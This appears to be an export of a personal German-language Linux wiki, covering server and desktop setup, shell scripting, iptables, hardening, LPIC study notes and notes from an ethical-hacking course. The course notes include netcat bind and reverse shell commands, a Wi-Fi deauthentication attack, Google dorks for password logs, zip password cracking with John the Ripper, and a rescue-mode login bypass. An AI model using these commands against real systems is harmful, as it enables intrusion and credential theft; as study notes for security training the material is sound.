# Alternative authentication frameworks
#
#Include /etc/proftpd/ldap.conf
#Include /etc/proftpd/sql.conf

#
# This is used for FTPS connections
#
#Include /etc/proftpd/tls.conf

#
# Useful to keep VirtualHost/VirtualRoot directives separated
#
#Include /etc/proftpd/virtuals.conf

# A basic anonymous configuration, no upload directories.

# 
#   User                                ftp
#   Group                               nogroup
#   # We want clients to be able to login with "anonymous" as well as "ftp"
#   UserAlias                   anonymous ftp
#   # Cosmetic changes, all files belongs to ftp user
#   DirFakeUser on ftp
#   DirFakeGroup on ftp
#
#   RequireValidShell           off
#
#   # Limit the maximum number of anonymous logins
#   MaxClients                  10
#
#   # We want 'welcome.msg' displayed at login, and '.message' displayed
#   # in each newly chdired directory.
#   DisplayLogin                        welcome.msg
#   DisplayChdir                .message
#
#   # Limit WRITE everywhere in the anonymous chroot
#   
#     
#       DenyAll
#     
#   
#
#   # Uncomment this if you're brave.
#   # 
#   #   # Umask 022 is a good standard umask to prevent new files and dirs
#   #   # (second parm) from being group and world writable.
#   #   Umask                           022  022
#   #            
#   #            DenyAll
#   #            
#   #            
#   #            AllowAll
#   #            
#   # 
#
# 

# Include other custom configuration files
Include /etc/proftpd/conf.d/

## FTP-Server neu starten ##
systemctl restart proftpd


## Verzeichnisse ##
PDF-Input - /consume
PDF-Output - /media/documents/archive
```

# Gnome Desktop anpassen

Benötigte Apps:

Erweiterungen

```
sudo apt install gnome-shell-extensions
```

Tweaks

```
sudo apt install gnome-tweaks
```

## Zu Erweiterungen hinzufügen

Appindicator and KStatusNotifierItem Support

Dash to dock

Dash to panel

# Grub Bootloader erweitern

Um einen weiteren Eintrag zu Grub hinzuzufügen geht man wie folgt vor:

Zunächst einen Benutzereintrag hinzufügen:

```
sudo nano /etc/grub.d/40_custom
```

Hier ans Ende folgende Zeilen hinzufügen

```
menuentry "Debian Linux" {
    set root=(hd1,2)  # Ändere dies entsprechend deiner Partition
    linux /vmlinuz root=/dev/nvme0n1p2  # Passe den Pfad zur Kernel-Datei an
    initrd /initrd.img  # Passe den Pfad zur Initrd-Datei an
}
```

- (hd1,2) bezieht sich auf die Festplatte und Partition die verwendet werden soll
- linux ist die Datei /vmlinz die normalerweise im / Verzeichnis der jeweiligen Partition zu findne ist
- initrd sollte passen.

Danach den Bootloader neu initialisieren

```
sudo grub-mkconfig -o /boot/grub/grub.cfg
```

Kann sein das es bei Debian anders gemacht wird. muss ich testen.

# Hacking Akademie

Kali auf deutsch

```
sudo dpkg-reconfigure locales
```

## Wichtige Linux-Befehle

<table border="1" id="bkmrk-mkdir-%2Fhome%2Fkali%2Fbin" style="border-collapse: collapse; width: 100%; height: 178.781px;"><colgroup><col style="width: 50%;"></col><col style="width: 50%;"></col></colgroup><tbody><tr style="height: 29.7969px;"><td style="height: 29.7969px;">`mkdir /home/kali/bin`</td><td style="height: 29.7969px;">Den Bin Ordner in Home erstellen</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">`nano script.sh`</td><td style="height: 29.7969px;">Skript erstenn</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">`chmod +x script.sh`</td><td style="height: 29.7969px;">Skripte ausführbar machen</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">`mv`</td><td style="height: 29.7969px;">move oder umbenennen</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">`cp `</td><td style="height: 29.7969px;">kopieren</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">`grep "kali" /etc/passwd`</td><td style="height: 29.7969px;">Datei untersuchen</td></tr><tr><td>`ip a`</td><td>ip-Adresse anzeigen</td></tr><tr><td>`netstat -nr `</td><td>Routing-Tabelle anzeigen</td></tr><tr><td>`netstat -tlpn`</td><td>Zeigt an welche ports offen sind Offene Ports</td></tr></tbody></table>

### script.sh

```bash
#!/bin/sh

echo "Hallo Welt"
```

### Dienste starten, stoppen und prüfen

dienste = deamons

`ps -ef` Anzeigen von Diensten  
`/etc/init.d ` Hier sind die Scripte hinterlegt um Dienste zu starten   
`systemctl status apache2 ` überprüft ob der Dienst läuft  
`Systemctl start apache2 ` starte den Dienst   
`ss -tlpn ` Zeigt Ports an, die an Dienste gebunden sind

## Defense

### IDS Intrusion detection system

Erkennen von Ungewünschten oder unbekannten Datenverkehr

### IPS Intrusion Prevention Systeme

Sind inline und schützen das Netzwerk

## Tools

### Netdiscover

<table border="1" id="bkmrk-sudo-netdiscover-pri" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 50%;"></col><col style="width: 50%;"></col></colgroup><tbody><tr><td>sudo netdiscover</td><td>Private Netzwerke scannen</td></tr><tr><td>sudo netdiscover -r 10.10.1.0/24</td><td>Zum scannen eines bestimmten Bereichs</td></tr></tbody></table>

## Härten

- Software wird auf dem aktuellen Stand gehalten
- Unsicher Software wird nicht verwendet
- Nicht erforderliche Dienste werden deaktiviert oder deinstalliert
- Aktive Dienste werden in sicheren Umgebungen betrieben
- Nor die notwendigen Konten erhalten Administrator-Privilegien
- Alle nicht benötigten Benutzerkonten werden gelöscht oder deaktiviert
- Berechtigungen und Rechte werden restriktiv gesetzt

## Netzwerk

## Wireshark

#### Mitschnittfilter

Um die Dateigröße des Mitschnitts zu redizuieren kann man den Filter anlegen.

<table border="1" id="bkmrk-icmp-icmp%C2%A0-icmp-and-" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 50%;"></col><col style="width: 50%;"></col></colgroup><tbody><tr><td>icmp</td><td>icmp </td></tr><tr><td>icmp and host 10.10.30.13</td><td>  
</td></tr><tr><td>scr host 192.168.1.254 and tcp port 80</td><td>beschränkt auf source host und port 80</td></tr></tbody></table>

#### Anzeigefilter

<table border="1" id="bkmrk-tcp.port-%3D%3D-443-ip.a" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 50.0618%;"></col><col style="width: 50.0618%;"></col></colgroup><tbody><tr><td>tcp.port == 443</td><td>  
</td></tr><tr><td>ip.addr == 192.168.1.1</td><td>  
</td></tr><tr><td>not arp and not tls </td><td>  
</td></tr><tr><td>tcp.flags.reset == set</td><td>  
</td></tr><tr><td>ip.src == 192.168.1.1 and dns.qry.name == "consent.google.com"</td><td>  
</td></tr></tbody></table>

## Hackingtools

### Nmap

#### Die Suche im Netzwerk

`nmap -sP -n 10.1.2.0/24 ` Arp-Scan

**Synscan** kann eine Firewall umgehen, die den Ping blockiert.

`nmap -sS -n 10.1.2.10`

[Documentation](https://nmap.org/book/man.html)

`sudo nmap -sV -O -T4 172.16.1.4`

<table border="1" id="bkmrk-nmap--sn-10.10.0.0%2F2" style="border-collapse: collapse; width: 100%; height: 90.3907px;"><colgroup><col style="width: 50%;"></col><col style="width: 50%;"></col></colgroup><tbody><tr style="height: 29.7969px;"><td style="height: 29.7969px;">nmap -sn 10.10.0.0/27</td><td style="height: 29.7969px;">Ping-Scan</td></tr><tr style="height: 30.7969px;"><td style="height: 30.7969px;">nmap 10.10.0.0/27</td><td style="height: 30.7969px;">Normaler nmap scan</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">nmap -sS 10.10.1.10</td><td style="height: 29.7969px;">Half open scan benötigt Root</td></tr><tr><td>nmap -sU 10.10.1.10 -p 53</td><td>UDP Scan auf port 53</td></tr><tr><td>nmap 10.10.1.10 --top-ports 15</td><td>Scannt die 15 häufigsten ports</td></tr><tr><td>**Version und OS Detection**  
</td><td>  
</td></tr><tr><td>nmap -sV 10.10.1.10 </td><td>V ist die Versionserkennung</td></tr><tr><td>nmap -O 10.10.1.10 -v</td><td>OS Detection</td></tr><tr><td>**nmap -A 10.10.1.10 -v**</td><td>**-A ist die Rundumglückich option**</td></tr><tr><td>**NSE**</td><td>**Nmap Skript Engine**</td></tr><tr><td> </td><td>/usr/share/nmap/scripts</td></tr><tr><td>nmap --script-help http-config-backup</td><td>Hilfe zum Skript</td></tr><tr><td>-oN / -oG filename.txt</td><td>Ausgabe in einer datei in einem Bestimmten Format</td></tr><tr><td>nmap -A -oG ausgabe.nmap 10.10.1.10</td><td>  
</td></tr></tbody></table>

### Netcat

<table border="1" id="bkmrk-nc--v--z-192.168.1.2" style="border-collapse: collapse; width: 100%; height: 246.578px;"><colgroup><col style="width: 50%;"></col><col style="width: 50%;"></col></colgroup><tbody><tr style="height: 29.7969px;"><td style="height: 29.7969px;">`nc -v -z 192.168.1.254 80`</td><td style="height: 29.7969px;">Portscan auf port 80</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">`nc -lnvp 4444`</td><td style="height: 29.7969px;">Listening Port auf Port 4444 eröffnen </td></tr><tr style="height: 46.7969px;"><td style="height: 46.7969px;">`nc 172.16.1.133 4444`</td><td style="height: 46.7969px;">Zu dem Server mit Listening verbindung aufbauen</td></tr><tr style="height: 46.7969px;"><td style="height: 46.7969px;">`nc -nlvp 4444 > incoming.txt`</td><td style="height: 46.7969px;">Eingang in eine Datei umleiten </td></tr><tr style="height: 46.7969px;"><td style="height: 46.7969px;">`nc -nlvp 4444 > wget`</td><td style="height: 46.7969px;">Dateien übertragen (empfang)</td></tr><tr style="height: 46.5938px;"><td style="height: 46.5938px;">`nc 10.10.0.5 4444 < /usr/share/windows-resources/binaries/wget.exe`</td><td style="height: 46.5938px;">Datei senden</td></tr><tr><td>tcpdump host 10.10.0.5 </td><td>Anzeigen von datenübertragungen </td></tr><tr><td>nc -nlvp 4444 -e /bin/bash</td><td>Die bash an den Port binden. Somit hat man eine Bind schell erstellt</td></tr><tr><td>**Reverse Shell**  
</td><td>  
</td></tr><tr><td>nc -nlvp 443</td><td>Beim Angreifer einen Listener erstellen</td></tr><tr><td>nc 10.10.0.4 443 -e /bin/bash</td><td>Baut eine Shell beim angreifer auf (windows -e cmd.exe)</td></tr></tbody></table>

### Vulnerability-Scanner Nessus

## Wlan Hacking

`iwconfig` listet sämtliche Wlan adapter auf.

**Mode:**

`Managed` ist der Standard. Will man den Wlan Traffic mitschneiden muss man in den `monitor` mode wechslen

1. `ifconfig wlan0 down `- Deaktiveren der Schnittstelle
2. `iwconfig wlan0 mode monitor` - Wlan0 auf Monitor Mode umstellen
3. Sollte der Adapter von einem anderen Gerät verwendet werden kann man mit `airmon-ng check kill `prüfen #
4. `ifconfig wlan0 up `- Ativiert die Schnittstelle wieder

### WLAN Sniffing

Befindet sich der Wlan-Adapter im Monitor mode kann mit `airodump-ng wlan0 ` die Liste der Verfügbaren Netzwerke angezeigt werden.

Gibst du keine weiteren Parameter an, wird nur das 2,4 GHz Band betrachtet. Ergänzt du den Parameter **–band a**, so arbeitet **airodump-ng** auf dem 5 GHz Band.

Im unteren Abschnitt werden identifizierte WLAN-Knoten (Stations) angezeigt. Die Liste zeigt neben der zugeordneten BSSID die MAC-Adresse der Station, die Funksignalstärke und andere Daten.

<div class="w-image align_none" id="bkmrk--1"><div class="w-image-h">![](https://member.hacking-akademie.de/wp-content/uploads/2023/01/Kap28_stations.png)</div></div><div class="w-image-h" id="bkmrk--2">  
</div>Im nächsten Schritt möchten wir einen einzelnen Access Point (BSS) mit den darin befindlichen Stationen anzeigen lassen und den Mittschnitt parallel in eine Datei schreiben. Dazu gibst du die BSSID des Senders, den Kanal und eine Ausgabedatei als zusätzliche Parameter mit an:

`<strong>airodump-ng –bssid <BSSID> –channel <Nr> –write <Datei> wlan0mon</strong>`

Wie die nachfolgende Abbildung zeigt, werden parallel zur Live-Ansicht im Terminal diverse Dateien mit dem Mitschnitt angelegt.

<div class="w-image-h" id="bkmrk--3"><div class="w-image align_none"><div class="w-image-h">![](https://member.hacking-akademie.de/wp-content/uploads/2023/01/Kap28_airodump-2.png)</div></div></div>Deauthentication-Paket senden

Natürlich hilft uns hierbei wieder ein Tool, sodass wir diesen Vorgang nicht manuell durchführen müssen. An dieser Stelle bringen wir **aireplay-ng** aus der bereits bekannten Aircrack-Suite ins Spiel. Geht es darum, Pakete zu generieren um diese einem WLAN zu injizieren dann ist aireplay-ng das Tool der Wahl. Mit der Option **–deauth** führen wir einen Deauthentication-Angriff durch. Sie benötigt die Angabe der Anzahl an Paketen, die gesendet werden sollen. Mit **-a** geben wir die BSSID an und die Option **-c** legt die MAC-Adresse des Opfers fest.

Wird der Befehl ausgeführt, beginnt **aireplay-ng** die Deauthentication-Pakete zu senden.

<div class="w-image align_none" id="bkmrk--4"><div class="w-image-h">![](https://member.hacking-akademie.de/wp-content/uploads/2023/01/Kap28_De-Auth.png)</div></div><div class="w-image-h" id="bkmrk--5">  
</div>### Tor Browser

<div class="w-image-h" id="bkmrk--6">  
</div><div class="w-image-h" id="bkmrk-website-f%C3%BCr-hidden-s">Website für Hidden services: [https://onion.best](https://onion.best)</div><div class="w-image-h" id="bkmrk-https%3A%2F%2Fduckduckgo.c">[https://duckduckgo.com/?q=the+hidden+wiki&amp;t=bravened&amp;ia=web](https://duckduckgo.com/?q=the+hidden+wiki&t=bravened&ia=web)</div><div class="w-image-h" id="bkmrk--7">  
</div>## Die Phasen des Hacking

### Reconnaissance (Informationsbeschaffung)

- Passive Discovery: 
    - Suchmaschinen
    - Analyse der Website
    - Social Media-Analyse
- Active Discovery 
    - Port Scanning
    - Vulnerability Scanning
    - Enumeration

#### Passive Discovery

- Suchmaschinen
- WHOIS
- DNS-Footprinting
- Website-Analyse
- E-Mail-Footprinting
- Social Media-Analyse

#### Active Discovery

- Banner Grabbing
- Port Scanning
- Vulnerability Scanning
- Enumeration

#### Netcraft

[https://searchdns.netcraft.com/](https://searchdns.netcraft.com/)

Wayback Machine

[https://web.archive.org](https://web.archive.org)

Shodan

[https://shodan.io/dashboard](https://shodan.io/dashboard)

#### Google Suche

allintext:username password filetype:log

In Domains suchen

site:hacking-akademie.de intext:password

#### Recon-NG

Zunächst Workspace erstellen

`workspaces create kfz-liebl.com`

Marketplace zum installieren von Modulen

`marketplace refresh`

`marketplace info all` alle anschauen lassen

`marketplace search` verkürzte Form

`marketplace search whois`

`marketplace info recon/domains-contacts/whois-pocs` Modul info anzeigen lassen

`marketplace install recon/domains-contacts/whois_pocs` Modul installieren

`moduls load recon/domanis-contacts/whois_pocs` Modul akivieren

`info` Zeigt dann die Informationen zum Modul an

`options set SOURCE kfz-liebl.com`

`run` startet das Modul

#### Interesante Module

discovery/.../Intresting\_files

## Content Discovery

### System Hacking

### Linux-Skills

#### Rechtewerweiterung Privilige-Escalation

file .pwsec - gibt den Dateityp an

man -k passord - Manpages durchsuchen nach einem bestimmten Wort

#### Dateien Finden

`echo $PATH` Zeigt an wo befehle gesucht werden

`locate password`

`find /home/nina -name *password* 2>/dev/null`

`ls -ld /home/nina/daten` zeigt das Verzeichnis an

`find /home/nina -name <em>password</em> -type f -user max`

`find /home/max ! -user max `Um dateien zu finden die **nicht** Max gehören

`grep password datei1.txt`

`grep -i password datei1.txt Datei2.txt` mit -i ignorieren wir die groß und kleinschreibung

`grep -i password ~/*` Druchsucht das Homeverzeichnis

`grep -i password <em> </em>* .\*` Versteckte dateien durchsuchen (ohne backslash, machts sonst kursiv)

`grep -ir password Projektdaten/* Projektdaten/.*` Rekursiv suchen

#### Dateimanipulation und -anlayse

##### cut

`cut -f 1 -d ":"` Mit cut kann man Ausgaben zerteilen. F gibt dabei das feld an und -d den delimiter

**Beispiel**: `cat /etc/passwd | cat -f 1 -d ":"`

**Beispiel**: `cat /etc/passwd | cat -f 1,7 -d ":" | grep -v nologin` mit -v kann man sachen ausblenden, die man nicht sehen will

##### Sort

`sort` - Sortiert die Ausgabe nach dem Alphabet

**Beispiele:** `sort -r -u` Sortierung umkehren mit -r und auf unique mit -u damit werden doppelte Einträge aussortiert

##### uniq

Zählen von Einträgen

`sort log | uniq -c `

##### sed

Streaming-Editor

`sed -i "s/bash/zsh" passwd` : s = ersetzen, /bash = danach wird gesucht, /zsh = dadurch wird das nachdem gesucht wird ersetzt

`sed /^bob:/d passwd` löscht die Zeile mit Bob

### Shellskripte

Standard Verzeichnis für Skripte ist /home/user/bin

Skripte in dem Verzeichnis können direkt aufgerufen werden, wenn der Ordner in echo $PATH angezeigt wird. Ist dies nicht der Fall, dann kann der in .bashrc oder vergleichbaren Dateien der genutzten Shell hinterlegt werden.

#### Variablen

```bash
#!/bin/bash
#Definition einer Variablen
ALTER=25

# Diese Ausgabe vunktioniert nicht. 
echo "Dies ist ihr $ALTERster Geburtstag"

# Diese Ausgabe funktioniert. 
echo "Dies ist ihr ${ALTER}ster Geburtstag"

# Einfache Hochkomma ' funktionieren anders als " 

# Variablenausgabe
VAR1="Script"
VAR2="ing"
echo $VAR1$VAR2
```

```bash
#!/bin/bash

var1="Hallo Welt"
# Variablen dürfen nicht mit einer Zahl beginnen und Außer _ keine Sonderzeichen
# Keine Leerzeichen zwischen Name und = und Wert

# Variable ausgeben
echo $var1

# Variable in Text einbinden
echo "Der Wert der Variablen var1 lautet:" $var1". Mehr nicht" 
```

#### Vordefinierte Variablen

```bash
# Die User-ID auslesen

echo "Deine User-ID ist: " $UID
```

Weitere können über die Man-Page von shell gefunden werden.

#### IF THEN ELSE

```bash
# test

test -d /etc && echo "Verzeichnis" # Prüft ob /etc ein Verzeichnis ist und gibt Verzeichnis aus

test -f /etc && echo "Verzeichnis" || echo "Datei" #Prüft ob /etc eine Datei ist und gibt Datei aus
```

```bash
# If in der Shell

if test -d /etc
then 
echo "Verzeichnis" 
fi

# In einem Script 

#!/bin/bash

# Wir testen eine Bedingung

OBJEKT="/etc"
if test -d $OBJEKT
then
  echo "Bei $OBJEKT handelt es sich um ein Verzeichnis" 
  
elif test -f $OBJEKT
then
  echo "Bei $OBJEKT handelt es sich um eine Datei" 
  
else
  echo "Bei $OBJEKT handelt es sich weder um eine Datei noch um ein Verzeichnis" 
fi
```

Mit \[\[ \]\] kann man Test ersetzen. Ist die gängigere Konvention.

```bash
# Root oder nicht root? 

if [[ $UID -eq 0 ]]
then 
  echo "Das Skript wird mit Root-Rechten ausgeführt"
else
  echo "Das wird nicht mit Root-Rechten ausgeführt" 
  
fi

# Mehrer Bedingungen
if [[ -d /etc && -e ~/bin/bedingugnen.sh ]] # Testet ob /etc ein Verzeichnis ist und bedingungen.sh existiert. 

if [[ -d /etc && ! -e ~/bin/bedingugnen.sh ]] # NICHT mit !
```

#### Error Handling

```bash
# Fehler liefern einen Wert > 0 in der Variablen ? 
# Exit Status oder Rückgabewert kann in der Man Page nachgelesen werden. 

#!/bin/bash

#Root oder nicht root?

TEST_USER="root"
ACTIVE_USER=$(id -un)

if [[ "$ACTIVE_USER" != "$TEST_USER" ]]; then 
  echo "Der aufrufende User ist nicht $TEST_USER"
  exit 10 
fi
echo "Das Skript wurde ordnungsgemäß ausgeführt!" 
exit 0

```

### Beispiele

[Benutzereingabe](https://wiki.hhml.selfhost.co/books/programmieren/page/benutzereingabe "Benutzereingabe")

#### Befehlssubstitution

```bash
# Befehle direkt Verwenden
echo $(id - nu) # gibt den User direkt aus
```

### Windows Programm in Kali

Unter `/usr/share/windows-resources/binaries` findet man Programm die man unter Windows nutzen kann. Z.B. Netcat

#### Network Hacking

Bind Shell

Reverse-Shell

### Blueteam

#### Firewall iptables

**Regeln anzeigen:** `iptables -L` mehr Details: `iptables -nvL`

#### Regeln anlegen

<table border="1" id="bkmrk-iptables--a-input--p" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 50%;"></col><col style="width: 50%;"></col></colgroup><tbody><tr><td>`iptables -A INPUT -p icmp -j DROP`</td><td>Hängt mit -A eine neue Regel an. -p gibt das Protokoll wieder. und DROP sagt das die Verbindung unterbunden werden soll </td></tr><tr><td>`iptables -A INPUT -s 192.168.1.150 -p tcp --dprot 22 -j DROP`</td><td>-s = Source

\--dport = Destination Port

</td></tr><tr><td>`iptables -I INPUT -p tcp --dport 80 DROP`</td><td>Hängt die Regel vorne dran (Regeln die vorne sind, werden als erstes bearbeitet. Spezifische Regeln müssen immer weiter oben stehen)

</td></tr><tr><td>`iptables -D INPUT 5`</td><td>Löscht die 5. Regel

</td></tr><tr><td>`iptables -I INPUT 2 -p tcp --dport 22 -j ACCEPT`</td><td>Input auf Position 2

</td></tr></tbody></table>

Diese Regeln werden nur Temporär erstellt.

Regeln mit einem Skript erstellen

```bash
#!/bin/bash

# Regelwerk zurücksetzen
iptables -F
iptables -t nat -F
iptables -t mangle -F 
iptables -t raw -F
iptables -X

iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT

# Bespielregeln
iptables -A INPUT -p icmp -j DROP
iptables -A INPUT -p tcp --dport 80 -j DROP
```

in Debian bei Start das Skript ausführen

`apt install iptables-persistant`

`iptables-save`

`iptables-restore`

# John the Ripper installieren

John the Ripper is usually pre-installed in Kali Linux but if you don’t have it yet, you can follow the steps below to install it on a Linux-based machine.

If you are facing any challenges with Kali Linux, I suggest you go through [getting started with Kali Linux](https://www.section.io/engineering-education/getting-started-with-kali-linux/) article.

There are numerous ways of installing John the Ripper on your machine but we will look at some of the basic ones:

#### 1. Installing from the source

Open the terminal by simultaneously holding **Ctrl+Alt+T** and run the command below.

```bash
mkdir src

```

This creates a directory where we’ll store all our files.

Navigate to the `src` directory and clone John the Ripper repository as shown below.

```bash
cd src
git clone https://github.com/openwall/john.git

```

![Cloning John the Ripper repository](https://www.section.io/engineering-education/password-cracking-with-john-the-ripper/clone.png)

This creates a directory named `John`. To make it active, we need to run the command below.

```bash
cd john

```

Navigate to the `src` directory where we’ll set and configure the compilation sources.

```bash
cd src
./configure

```

![Configuring files in src directory](https://www.section.io/engineering-education/password-cracking-with-john-the-ripper/configure.png)

Run the `make` command to compile source code into executable programs and libraries. This might take some time depending on your machine and the resources allocated to it.

```bash
make

```

Lastly, run the `make install` command to install John the Ripper.

```bash
make install

```

![Run make install command](https://www.section.io/engineering-education/password-cracking-with-john-the-ripper/make_install.png)

Run the commands below to see if the installation was successful.

```bash
cd ..
cd run
./john
```

<div class="page-content" id="bkmrk-version-%231-erstellt%3A"><div dir="auto"></div>---

<div class="text-muted text-small"><div class="entity-meta"><svg class="svg-icon" data-icon="history" role="presentation" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"> </svg>Version #1   
<svg class="svg-icon" data-icon="star" role="presentation" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"> </svg>Erstellt: 19 October 2022 11:16:51 von hermann   
<svg class="svg-icon" data-icon="edit" role="presentation" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"> </svg>Zuletzt aktualisiert: 19 October 2022 11:17:17 von hermann</div></div></div>

# Kali John the ripper

### Hash aus Zip extrahieren

```
zip2john file.zip > hash.txt
```

Passwort hacken

```
john hash.txt

# Mit Wörterliste 

john hash.txt --wordlist=rockyou.txt

# Mit Maske

john hash.txt --mask=[A-Za-z0-9] --max-lenght=8 
# Bruteforce mit Groß- und Kleinbuchstaben und Zahlen bis maximale Länge von 8 Zeichen
```

# linkedin Learning Linux Systemarchitektur

### Hardware auflisten 

```
lspci  # ls = listen 

lsusb # listet alle USB-Schnittstellen auf

lsblk # listet Festplatten auf 

lscpu # Listet du CPU auf

lsmod # Welche module wurden geladen. 
```

`in | less > / SATA kann nach SATA suchen`

#### DF

```
df # Diskfree gibt das dateisystem wieder 
df -hT # Anzeige in Humanreadable und T für Dateisystem 
```

#### Betriebssystem

```
uname -r
uname -a
```

```
hostnamectl # Kompakte Angabe
```

#### Prozesse

```
cd /proc/sys/kernel 

cat osrelease # Kernelversion
cat ostyp # Ostype anzeigen
cat hostname 

```

proc ist nur im Arbeitsspeicher

#### /sys

hier werden Treibermodelle gespeichert

#### Gerätemanager

/dev

hier werden geräte aufgelistet unter anderem zum Beispiel die Festplatten mit sda.

sr0 wäre ein CD oder DVD Laufwerk

# Linux auf Deutsch umstellen

Tastatur auf deutsch

```
dpkg-reconfigure keyboard-configuration
```

Danach folgendes eingeben

```
loadkeys de
```

# Linux geheimnisse

## Desktop

### Restriktiv mit xsessionrc

Mit der Datei: /home/sepp/.xsessionrc kann man zum beispiel den Firefox starten und wenn dieser geschlossen wird, dann meldet sich der User wieder ab.

```
#!/bin/bash

firefox https://duckduckgo.com
exit
```

# Linux härten

<p class="callout info">LinkedIn Learning Kurs</p>

#### Grundlagen der Härtung

nicht härtbare System müsten in ein separates Netzwerk verschoben werden.

[![image.png](https://wiki.hhml.selfhost.co/uploads/images/gallery/2023-07/scaled-1680-/R6Bimage.png)](https://wiki.hhml.selfhost.co/uploads/images/gallery/2023-07/R6Bimage.png)

[![image.png](https://wiki.hhml.selfhost.co/uploads/images/gallery/2023-07/scaled-1680-/0ZHimage.png)](https://wiki.hhml.selfhost.co/uploads/images/gallery/2023-07/0ZHimage.png)

## Angriffspunkte

### Startvorgang

####  Boot-CD

Über Boot-CD in Troubleshooting wechseln &gt; Continiu.

Danach ist man als root angemeldet

mit df -h laufwerke anzeigen lassen.

Unter /dev/mapper/centos-root kann man schauen wo das System gemountet ist. /mnt/sysimage

```bash
nano /lib/systemd/system/rescue.service

# Datei anpassen 
ExecStart= sulogin in sushell ändern 
```

Schon kann man sich in das System ohne Passwort einloggen.

```bash
# Bootprozess unterbrechen und mit e editieren

# in der Zeile mit linux16... zu swap rhgb quiet navigieren und dort rhgb durch rescue ersetzen 
```

#### Single-User-Mode

```
# Die Shadowdatei: /etc/shadow
```

```
# Startprozesse bei Ubuntu Startvorgang mit esc unterbrechen 

Mit e anpassen 

unter Linux ro durch rescue aufrufen
```

### Verhindern

```
cd /etc/grub.d

vim 40_custom 

# Hinzufügen 

set superusers="admin"
password admin password # Setzt das passwort auf password 
```

Das passwort wird nicht verschlüsselt abgespeichert

**Konfiguragationsdatei anpassen**

```
grub2-mkconfig -o /boot/grub2/grub.cfg
```

Dadurch muss man zum editieren der Startdatei ein Passwort eingegeben werden.

```
# Entfernen des Passworts

Mit Boot-CD kann man das entfernen
```

## Benutzer

# Linux LPIC Prüfung

#### Befehle

<table border="1" id="bkmrk-uname-print-system-i" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 50%;"></col><col style="width: 50%;"></col></colgroup><tbody><tr><td>uname</td><td>Print system Informationen</td></tr><tr><td>lscpu</td><td>display information about the cpu  
</td></tr></tbody></table>

### Man-Pages

man uname

### Virtuelle Dateisysteme

/proc - Hier sind nur Dateien aus dem Arbeitsspeicher. Die Prozesse sind in ordnern mit den Nummern.

/sys - Datein die im Arbeitsspeicher befinden. Infos über Systemhardware

### Gerätedateisystem

/dev

tty sind Konsolen  
dvd  
sda - Festplatte  
sr0 - CD

udev - Programm verwaltet das dev verzeichnis

### Kernelmodule

lsmod - List modules

modinfo - zeigt information zu linux kernel modulen

modprob ip\_tables - das modul ip-Tables in den Kernel laden

modprob -r ip\_tables - Das Modul aus dem Kernel entfernen

## Hardware anzeigen

lspci - Alle Pci - objekte anzeige lassen  
lspci -v - Detailiertere Ansicht  
lspci -k - Geräte inklusive Module

lsusb - Listet alle USB Geräte  
lsusb -v - um mehr Daten anzeigen zu lassen

## Bootvorgang

log des Bootvorgangs anzeigen lassen mit `dmesg`

Bootvorgang dateien in /etc/init.d

Welche gestartet werden sind in /etc zu finden. und

### Dienste Starten oder Stoppen

`systemctl status nginx` um einen Status anzuzeigen   
`systemctl stop nginx `stoppt einen Dienst  
`systemctl start nginx` startet einen Dienst  
`systemctl resart nginx`

Hauptconfigurationdatei von Systemd ist zufinden unter:

`/etc/systemd/system.conf`

Systemd

`/etc/systemd/system` Hier sind die Prozesse die gestartet werden.

`/lib/systemd/system` zweites verzeichnis in dem auch startunits vorhanden sind. Vorrangig werden etc Dienste gestartet sollten zwei gleiche vorhanden sein.

### Servicemanager systemctl

systemctl list units zeigt alle units mit Status

### Runlevel

In welchem zustand sich das System befindet.

[![grafik.png](https://wiki.hhml.selfhost.co/uploads/images/gallery/2024-12/scaled-1680-/grafik.png)](https://wiki.hhml.selfhost.co/uploads/images/gallery/2024-12/grafik.png)

Bei einem Angriff kann man in Runlevel 2 wechseln, damit sind keine Netzwerk mehr vorhanden

`runlevel` zeigt an, in welchem Runlevel man sich befindet

`init 3` Wechselt den Runlevel in Runlevel 3

### Festplattenaufteilung

FHS - Dateihirachiestandard

<table border="1" id="bkmrk-%2F-root-verzeichnis-u" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 33.3333%;"></col><col style="width: 33.3333%;"></col><col style="width: 33.3333%;"></col></colgroup><tbody><tr><td>/  
</td><td>Root-Verzeichnis  
</td><td>Unterste Verzeichnisebene  
</td></tr><tr><td>/bin  
</td><td>  
</td><td>Grundlegende Systembefehle</td></tr><tr><td>/sbin  
</td><td>  
</td><td>Systembefehle die nur Root-User auführen können.   
</td></tr><tr><td>/boot  
</td><td>  
</td><td>Dateien die beim Booten benötigt werden  
</td></tr><tr><td>/dev  
</td><td>  
</td><td>Geräte dateien  
</td></tr><tr><td>/etc  
</td><td>  
</td><td>Konfigurationsverzeichnis (Sämtliche dateien zum konfigurieren befinden sich normal hier)   
</td></tr><tr><td>/home  
</td><td>  
</td><td>Alle Benutzerverzeichnisse  
</td></tr><tr><td>/lib  
</td><td>  
</td><td>Dynamische Bibliotheken die für Programme die unter bin oder sbin verwendet werden benötigt werden  
Kernel Module  
</td></tr><tr><td>/lib64  
</td><td>  
</td><td>für 64 bit systeme  
</td></tr><tr><td>/media  
</td><td>  
</td><td>Wechseldatenträger werden hier gemountet  
</td></tr><tr><td>/mnt  
</td><td>  
</td><td>Mountpoint für weitere Geräte  
</td></tr><tr><td>/opt  
</td><td>  
</td><td>Optionale Pakete  
</td></tr><tr><td>/proc  
</td><td>  
</td><td>Pseudodateisystem  
</td></tr><tr><td>/root  
</td><td>  
</td><td>Homeverzeichnis von Root  
</td></tr><tr><td>/run  
</td><td>  
</td><td>Daten laufender Prozesse  
</td></tr><tr><td>/snap  
</td><td>  
